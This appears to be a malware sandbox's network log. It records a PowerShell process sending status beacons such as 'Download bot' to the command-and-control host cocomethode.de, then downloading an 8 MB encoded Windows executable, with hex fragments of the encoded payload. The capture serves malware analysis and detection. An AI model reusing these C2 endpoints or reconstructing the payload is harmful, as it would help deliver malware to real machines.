2024-12-11 11:58:29 UTC	1369	IN	Data Raw: 4f 43 60 57 58 78 63 49 57 60 53 7b 6a 7b 58 32 6d 42 53 57 71 59 56 6c 79 68 63 57 4b 72 58 33 6d 4b 5b 33 5b 53 4c 44 75 4a 53 33 79 37 57 56 34 56 65 56 4b 75 63 49 57 60 64 54 44 34 52 54 4f 52 63 57 6d 59 64 49 71 60 57 49 4f 4e 50 33 30 72 63 54 6d 45 5b 33 75 6a 4c 6c 79 30 56 6a 62 34 4c 33 4c 76 54 6c 79 60 63 57 5b 30 56 6a 65 56 64 54 6d 45 4c 59 57 60 54 31 47 73 58 6c 34 56 62 33 4b 45 60 33 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6f 43 6b 4c 54 6e 79 58 6c 31 30 62 46 4b 75 58 33 65 50 54 31 47 73 5b 44 69 4a 4c 57 71 54 62 31 34 45 60 54 47 6f 52 54 4f 42 50 6d 71 49 54 59 53 54 56 44 4b 53 58 33 30 56 63 57 71 58 52 6c 79 68 63 54 34 72 52 54 4c 79 53 6c 57 49 55 6f 4f 6a 56 44 34 76 58 6b 48 30 54 57 6d 58 54 6c 38 4b 50 31 71 44 55 Data Ascii: OC`WXxcIW`S{j{X2mBSWqYVlyhcWKrX3mK[3[SLDuJS3y7WV4VeVKucIW`dTD4RTORcWmYdIq`WIONP30rcTmE[3ujLly0Vjb4L3LvTly`cW[0VjeVdTmELYW`T1GsXl4Vb3KE`3eme{CMRTOC[1mEToCkLTnyXl10bFKuX3ePT1Gs[DiJLWqTb14E`TGoRTOBPmqITYSTVDKSX30VcWqXRlyhcT4rRTLySlWIUoOjVD4vXkH0TWmXTl8KP1qDU
2024-12-11 11:58:29 UTC	1369	IN	Data Raw: 69 57 32 69 72 54 56 34 72 4c 47 71 58 55 59 57 54 53 30 5b 30 56 6b 4f 52 63 31 38 34 50 56 75 69 54 32 4f 78 52 30 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 73 56 6c 30 72 62 30 71 57 52 6b 57 6a 53 30 5b 37 57 32 6d 52 62 47 69 55 50 55 6d 4b 50 30 4b 75 58 57 65 35 63 47 47 74 63 45 43 60 56 44 34 68 52 6a 65 72 5b 44 6d 45 4c 56 6d 6d 53 7b 6d 34 52 54 4f 52 56 56 48 7b 52 6a 79 60 56 46 75 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 5b 6d 44 76 52 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 55 56 65 56 4c 31 71 76 5b 44 65 57 5b 33 53 49 60 46 79 4b 53 30 5b 30 56 55 4f 4a 4f 56 4f 48 54 6c 79 60 50 7b 6d 73 56 6d 65 4e 64 56 57 58 50 6b 43 60 57 30 47 6f 56 56 34 72 4c 47 71 58 55 56 Data Ascii: iW2irTV4rLGqXUYWTS0[0VkORc184PVuiT2OxR0OBO1SSc3eKP1GoRTOC[1mEPVeKP1GsVl0rb0qWRkWjS0[7W2mRbGiUPUmKP0KuXWe5cGGtcEC`VD4hRjer[DmELVmmS{m4RTORVVH{Rjy`VFuNP3mC[1mEPVeKP1Go[mDvR1SSc3eKP1GoRTOC[1mEUVeVL1qv[DeW[3SI`FyKS0[0VUOJOVOHTly`P{msVmeNdVWXPkC`W0GoVV4rLGqXUV
2024-12-11 11:58:29 UTC	1369	IN	Data Raw: 4c 46 4f 74 63 44 53 68 4c 30 5b 30 5b 44 4f 43 65 46 4b 48 54 56 65 4a 53 7b 47 6e 5b 54 5b 4a 63 46 53 48 52 6f 43 60 56 44 30 6f 55 47 65 46 65 57 71 45 50 59 53 68 63 55 6a 76 52 54 4f 52 60 33 48 7b 5b 49 57 68 53 7b 6d 6e 56 6a 5b 4e 4c 57 6a 78 55 6c 79 60 57 30 4b 72 56 6a 4f 73 5b 33 57 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6b 43 6b 63 6c 75 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 64 54 4b 44 58 54 65 56 60 6c 47 34 50 6f 43 60 60 54 48 76 58 54 65 57 5b 30 71 49 57 6f 71 6a 53 33 79 30 56 57 69 52 62 46 48 78 4f 46 65 60 63 56 79 7b 56 6d 4f 42 60 46 4b 48 52 6c 79 5b 57 30 48 30 52 54 65 56 4f 46 47 58 55 6b 43 6b 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f Data Ascii: LFOtcDShL0[0[DOCeFKHTVeJS{Gn[T[JcFSHRoC`VD0oUGeFeWqEPYShcUjvRTOR`3H{[IWhS{mnVj[NLWjxUly`W0KrVjOs[3W2LDuKP1GoRTOC[1mEPkCkcluo[YbvR1mEPVeKP1GoRTOC[1mEPVeKdTKDXTeV`lG4PoC``THvXTeW[0qIWoqjS3y0VWiRbFHxOFe`cVy{VmOB`FKHRly[W0H0RTeVOFGXUkCke{CMRTOC[1mEPVeKP1GoRTO
2024-12-11 11:58:29 UTC	1369	IN	Data Raw: 54 47 71 54 6a 62 34 4c 33 4b 75 64 49 5b 5b 57 30 47 6f 56 55 48 34 65 46 4f 49 64 46 79 6a 53 30 5b 73 55 33 6d 43 60 33 53 49 57 6f 53 6b 53 57 71 76 58 6a 65 57 60 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 54 6c 75 68 4c 33 53 30 58 6a 62 34 60 47 71 46 55 6b 47 5b 4c 6a 34 72 56 6d 65 52 63 47 71 45 50 55 6d 4b 53 54 34 33 58 6c 34 60 63 46 4f 74 54 59 53 52 63 56 79 7b 56 6d 5b 6a 62 46 53 49 60 47 6d 68 4c 31 6d 6f 55 47 57 72 65 56 4f 48 57 6b 43 52 63 56 79 7b 56 6d 5b 42 60 46 53 49 5b 33 65 4a 52 47 4b 72 58 6d 69 42 53 33 47 59 64 46 79 4b 50 7b 47 50 5b 47 69 52 65 33 53 58 54 6a 65 69 57 32 69 72 57 54 65 46 4c 46 47 45 50 56 75 60 53 30 5b 37 5b 44 65 72 65 57 6d 58 54 6f 43 68 Data Ascii: TGqTjb4L3KudI[[W0GoVUH4eFOIdFyjS0[sU3mC`3SIWoSkSWqvXjeW`T82LDuKP1GoRTOC[1mEPVeKP1GoRTOC[1mETluhL3S0Xjb4`GqFUkG[Lj4rVmeRcGqEPUmKST43Xl4`cFOtTYSRcVy{Vm[jbFSI`GmhL1moUGWreVOHWkCRcVy{Vm[B`FSI[3eJRGKrXmiBS3GYdFyKP{GP[GiRe3SXTjeiW2irWTeFLFGEPVu`S0[7[DereWmXToCh
2024-12-11 11:58:29 UTC	1369	IN	Data Raw: 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 75 6b 63 57 58 76 58 33 34 72 53 46 48 7b 57 6f 57 6a 50 32 4f 78 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6f 43 60 60 54 47 77 52 6a 69 4a 63 46 53 48 52 6b 57 53 4c 6b 6a 79 58 6c 34 53 5b 31 79 59 64 45 43 4b 50 30 4b 31 56 57 69 6e 54 30 71 58 54 6f 6d 69 57 30 5b 37 52 30 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 58 79 57 6d 43 55 57 55 47 54 57 31 57 56 54 47 5b 34 50 56 6d 57 63 57 58 76 58 33 34 72 62 46 4b 75 58 33 65 60 53 7b 6a 7b 58 6c 30 35 65 6d 6d 59 54 56 65 69 57 7b 53 6f 52 6a 69 4a 63 46 53 48 52 6b 57 52 53 30 5b 7b 56 57 69 72 52 6c 4b 72 55 6c 79 5b 4c 6b 6d 30 56 6a 69 4f 5b Data Ascii: mEPVeKP1GoRTOC[1mEPVukcWXvX34rSFH{WoWjP2OxSGGw[1mEPVeKP1GoRTOC[1mEPoC``TGwRjiJcFSHRkWSLkjyXl4S[1yYdECKP0K1VWinT0qXTomiW0[7R0OBO1SSc3eKP1GoRTOC[1mEPVeKP1GoRTOC[0XyWmCUWUGTW1WVTG[4PVmWcWXvX34rbFKuX3e`S{j{Xl05emmYTVeiW{SoRjiJcFSHRkWRS0[{VWirRlKrUly[Lkm0VjiO[
2024-12-11 11:58:29 UTC	1202	IN	Data Raw: 6f 54 47 4f 42 55 30 71 58 58 32 53 57 4c 6a 34 77 56 6d 65 52 4c 56 4b 49 57 6c 75 56 53 31 5b 37 58 55 43 46 60 6c 53 49 63 49 5b 68 60 54 47 31 54 6d 69 6e 63 47 6a 7b 57 6b 43 60 54 31 47 71 54 59 71 76 58 30 58 78 63 49 57 60 53 7b 6a 7b 58 7b 47 35 57 57 71 59 4c 59 65 58 52 44 35 78 56 55 4f 76 52 56 48 7b 55 6b 43 4c 63 57 58 31 56 6d 4f 4b 5b 31 79 57 53 6f 6d 60 4c 30 5b 31 56 6d 62 30 4c 44 6d 45 52 6c 71 5b 57 32 53 33 58 57 53 47 65 31 6d 49 55 6f 5b 5b 4c 6b 6d 31 56 6d 69 52 63 33 48 78 54 6c 79 4c 63 57 4b 72 52 56 71 7b 55 6a 4f 71 54 6f 65 6b 63 56 79 30 56 55 4b 72 65 30 6d 59 65 33 65 50 54 31 4b 51 56 6d 69 6b 65 47 54 78 55 6c 38 60 57 30 48 79 58 6a 65 56 60 30 5b 49 53 6f 71 69 4c 54 4b 34 58 57 62 30 60 6c 47 58 50 6c 69 68 50 31 Data Ascii: oTGOBU0qXX2SWLj4wVmeRLVKIWluVS1[7XUCF`lSIcI[h`TG1TmincGj{WkC`T1GqTYqvX0XxcIW`S{j{X{G5WWqYLYeXRD5xVUOvRVH{UkCLcWX1VmOK[1yWSom`L0[1Vmb0LDmERlq[W2S3XWSGe1mIUo[[Lkm1VmiRc3HxTlyLcWKrRVq{UjOqToekcVy0VUKre0mYe3ePT1KQVmikeGTxUl8`W0HyXjeV`0[ISoqiLTK4XWb0`lGXPlihP1
2024-12-11 11:58:30 UTC	1369	IN	Data Raw: 45 47 42 56 57 4c 79 62 47 4b 56 57 6d 44 32 53 47 47 77 51 50 3c 3c 23 28 28 3a 0b 25 79 64 72 6f 76 66 64 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6a 65 6a 62 33 48 78 52 6c 69 68 53 49 43 55 57 45 40 79 57 57 4c 76 64 44 75 56 60 31 34 4f 52 54 50 76 5b 30 47 45 5b 32 43 51 65 7b 43 4d 53 47 47 76 63 56 53 59 4f 56 71 6a 53 33 79 33 58 6c 6d 42 52 57 65 73 4e 57 47 59 53 59 53 69 57 57 5b 56 57 54 53 53 62 45 65 44 54 56 38 6f 52 54 4f 43 5b 31 71 49 60 46 79 5b 57 30 4b 72 58 33 34 4f 5b 30 43 55 50 6a 47 6d 4c 7b 40 32 53 47 47 77 5b 31 6d 45 50 56 65 4a 53 32 Data Ascii: EGBVWLybGKVWmD2SGGwQP<<#((:%ydrovfd<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#Rjejb3HxRlihSICUWE@yWWLvdDuV`14ORTPv[0GE[2CQe{CMSGGvcVSYOVqjS3y3XlmBRWesNWGYSYSiWW[VWTSSbEeDTV8oRTOC[1qI`Fy[W0KrX34O[0CUPjGmL{@2SGGw[1mEPVeJS2
2024-12-11 11:58:30 UTC	1369	IN	Data Raw: 50 6c 4b 57 53 6a 34 50 56 56 30 76 63 47 6a 7b 54 6c 53 4b 50 30 4b 7b 58 6b 4b 6a 55 6c 4c 78 58 33 65 4d 54 55 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4b 64 54 4b 44 58 6b 48 30 4c 6d 71 58 52 6b 43 4b 53 31 71 33 56 6a 69 73 5b 33 53 49 4e 46 65 6b 4c 30 4b 34 58 57 62 30 63 6a 53 53 63 33 65 4b 50 31 47 6f 52 6a 69 4e 4c 46 4f 75 63 49 57 60 4c 44 71 33 56 6a 69 73 5b 30 43 55 50 6c 4b 6b 4c 30 4b 34 58 57 62 30 63 6d 69 55 5b 33 75 68 53 7b 6d 74 57 47 69 4e 63 6a 6d 48 65 33 65 53 4c 6b 6d 30 5b 46 30 56 64 56 53 46 54 6f 5b 4c 57 59 43 37 58 6b 48 31 62 44 38 32 4c 44 75 4b 50 31 47 6f 52 54 69 6a 64 56 47 58 54 6c 79 4c 57 33 69 33 58 7b 4f 53 5b 31 71 48 55 6b 43 6b 63 56 79 30 56 6b 43 4a 65 6d 71 48 60 7b 65 44 54 56 38 6f 52 54 4f 43 5b 31 71 Data Ascii: PlKWSj4PVV0vcGj{TlSKP0K{XkKjUlLxX3eMTUCMSGGw[1mEPVeKdTKDXkH0LmqXRkCKS1q3Vjis[3SINFekL0K4XWb0cjSSc3eKP1GoRjiNLFOucIW`LDq3Vjis[0CUPlKkL0K4XWb0cmiU[3uhS{mtWGiNcjmHe3eSLkm0[F0VdVSFTo[LWYC7XkH1bD82LDuKP1GoRTijdVGXTlyLW3i3X{OS[1qHUkCkcVy0VkCJemqH`{eDTV8oRTOC[1q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49753	104.21.1.51	443	824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:30 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 140
2024-12-11 11:58:30 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 41 72 74 68 75 72 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-12-11 11:58:31 UTC	1196	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:31 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C7BOpy%2Fpkv3DctTGLN91qWMl6COHod86YUPlGYIxHFh1dR522ID1ewBoXBUn7UayCUo%2BnaACKkhAvHVQdyLbG508eTnBH6HotNRjbHbJKzesbFWig3oLdaWmZZqotBJu%2F%2F9ON18UspL%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29290&min_rtt=1313&rtt_var=23179&sent=13957&recv=6008&lost=0&retrans=8&sent_bytes=19939950&recv_bytes=110591&delivery_rate=47611739&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054da28b56b0b2-ATL server-timing: cfL4;desc="?proto=TCP&rtt=92&min_rtt=60&rtt_var=45&sent=8&recv=10&lost=0&retrans=0&sent_bytes=8436&recv_bytes=1967&delivery_rate=1091383333&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=228&min_rtt=228&rtt_var=114&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=680&delivery_rate=0&cwnd=124&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:31 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 36 34 26 6d 69 6e 5f 72 74 74 3d 31 31 33 38 30 31 26 72 74 74 5f 76 61 72 3d 32 34 31 30 37 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 38 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 39 35 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 30 39 66 34 32 63 61 38 30 37 34 30 61 31 35 26 74 73 3d 36 30 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113864&min_rtt=113801&rtt_var=24107&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1085&delivery_rate=33595&cwnd=252&unsent_bytes=0&cid=409f42ca80740a15&ts=607&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49756	104.21.1.51	443	824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:42 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 69
2024-12-11 11:58:42 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-12-11 11:58:43 UTC	1191	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:43 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PlYZPO9d2%2FfuyH2X%2FXIUhYeC5wG6dbVTtyOIiSu3EXRIvxdGHhiKHAhIrs9wHKSTUHd6HjQ%2BsvtJnbeBzIrnJStnOl6MOZZNM9tsgFNluwSjCfFOg4QrU32k%2Bv%2B2BhIeDciIb8kf6VyK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=39765&min_rtt=1107&rtt_var=17677&sent=54&recv=54&lost=0&retrans=0&sent_bytes=18358&recv_bytes=22377&delivery_rate=2532523&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054dec6d25675d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=46&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=608&delivery_rate=0&cwnd=97&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113855&min_rtt=113798&rtt_var=24092&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1013&delivery_rate=33608&cwnd=252&unsent_bytes=0&cid=ddf2bba4041f2714&ts=848&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49757	104.21.1.51	443	824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:43 UTC	333	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:58:44 UTC	1308	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:44 GMT Content-Type: application/octet-stream Content-Length: 8357376 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rPWV3hbMrvBpFVjhQPhFMajdXXPAA5YFyddCufQnSxCqMZKvpUXi3MUlo1hW1VU8iTbIpwkx9k0HqTUE%2BIkqXTEsqc1p2Il%2FGMRmK0WWbxBHfwYQ79cDMczjKnLe7U4lGmute0tJa2C0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=45894&min_rtt=1061&rtt_var=17012&sent=34&recv=35&lost=0&retrans=0&sent_bytes=14639&recv_bytes=12563&delivery_rate=3671416&cwnd=258&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054df35abc53c4-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=40&rtt_var=17&sent=3&recv=5&lost=0&retrans=0&sent_bytes=3955&recv_bytes=1226&delivery_rate=1309660000&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=40&rtt_var=20&sent=3&recv=5&lost=0&retrans=0&sent_bytes=4152&recv_bytes=1212&delivery_rate=1039412698&cwnd=122&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:44 UTC	219	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 30 37 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 34 38 26 72 74 74 5f 76 61 72 3d 32 34 30 38 38 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 39 37 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 31 37 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 36 36 39 33 30 37 31 66 66 61 62 37 61 63 34 37 26 74 73 3d 36 31 39 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113807&min_rtt=113748&rtt_var=24088&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=971&delivery_rate=33617&cwnd=252&unsent_bytes=0&cid=6693071ffab7ac47&ts=619&x=0"
2024-12-11 11:58:44 UTC	1211	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 99 0f 59 66 01 01 01 01 01 01 01 01 f1 01 23 Data Ascii: L[A M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDeYf#
2024-12-11 11:58:44 UTC	1369	IN	Data Raw: 01 49 82 38 01 74 00 c2 49 8a d1 e8 14 d9 25 01 49 8c 04 ff e4 4f 01 49 8c 0c ee e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f9 d6 25 01 49 8c 04 f0 e4 4f 01 49 8c 0c e3 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 da d6 25 01 49 8c 04 0d e7 4f 01 49 8c 0c fc e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bf d6 25 01 49 8c 04 0e e7 4f 01 49 8c 0c 01 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a0 d6 25 01 49 8c 04 03 e7 4f 01 49 8c 0c f2 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 85 d6 25 01 49 8c 04 04 e7 4f 01 49 8c 0c f7 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 66 d6 25 01 49 8c 04 f9 e4 4f 01 49 8c 0c e8 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4b d6 25 01 49 8c 04 52 e7 4f 01 49 8c 0c 45 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2c d6 25 01 49 8c 04 47 e7 4f 01 Data Ascii: I8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tIf%IOIOI8tIK%IROIEOI8tI,%IGO
2024-12-11 11:58:44 UTC	1369	IN	Data Raw: 00 c2 49 8a d1 e8 c3 d3 25 01 49 8c 04 7a e9 4f 01 49 8c 0c 6d e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a4 d3 25 01 49 8c 04 a7 e9 4f 01 49 8c 0c 96 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 89 d3 25 01 49 8c 04 c0 e9 4f 01 49 8c 0c b3 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 6a d3 25 01 49 8c 04 bd e9 4f 01 49 8c 0c ac e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4f d3 25 01 49 8c 04 b6 e9 4f 01 49 8c 0c a9 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 30 d3 25 01 49 8c 04 ab e9 4f 01 49 8c 0c 9a e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 15 d3 25 01 49 8c 04 9c e9 4f 01 49 8c 0c 8f e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f6 d0 25 01 49 8c 04 99 e9 4f 01 49 8c 0c 88 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 db d0 25 01 49 8c 04 92 e9 4f 01 49 8c 0c 85 e9 4f Data Ascii: I%IzOImOI8tI%IOIOI8tI%IOIOI8tIj%IOIOI8tIO%IOIOI8tI0%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIO
2024-12-11 11:58:44 UTC	1369	IN	Data Raw: 38 01 74 00 c2 49 8a d1 e8 47 cc 25 01 49 8c 04 5e 76 90 01 49 8a 01 49 8c 0c c4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 cc 25 01 49 8c 04 46 76 90 01 49 8a 01 49 8c 0c ac db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 cc 25 01 49 8c 04 36 76 90 01 49 8a 01 49 8c 0c a4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 cd 25 01 49 8c 04 1e 76 90 01 49 8a 01 49 8c 0c bc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 cd 25 01 49 8c 04 1e 76 90 01 49 8a 01 49 8c 0c cc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 cd 25 01 49 8c 04 06 76 90 01 49 8a 01 49 8c 0c c4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 cd 25 01 49 8c 04 fe 77 90 01 49 8a 01 49 8c 0c ac db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 cd 25 01 49 8c 04 e6 77 90 01 49 8a 01 49 8c 0c 94 db 4f 01 49 Data 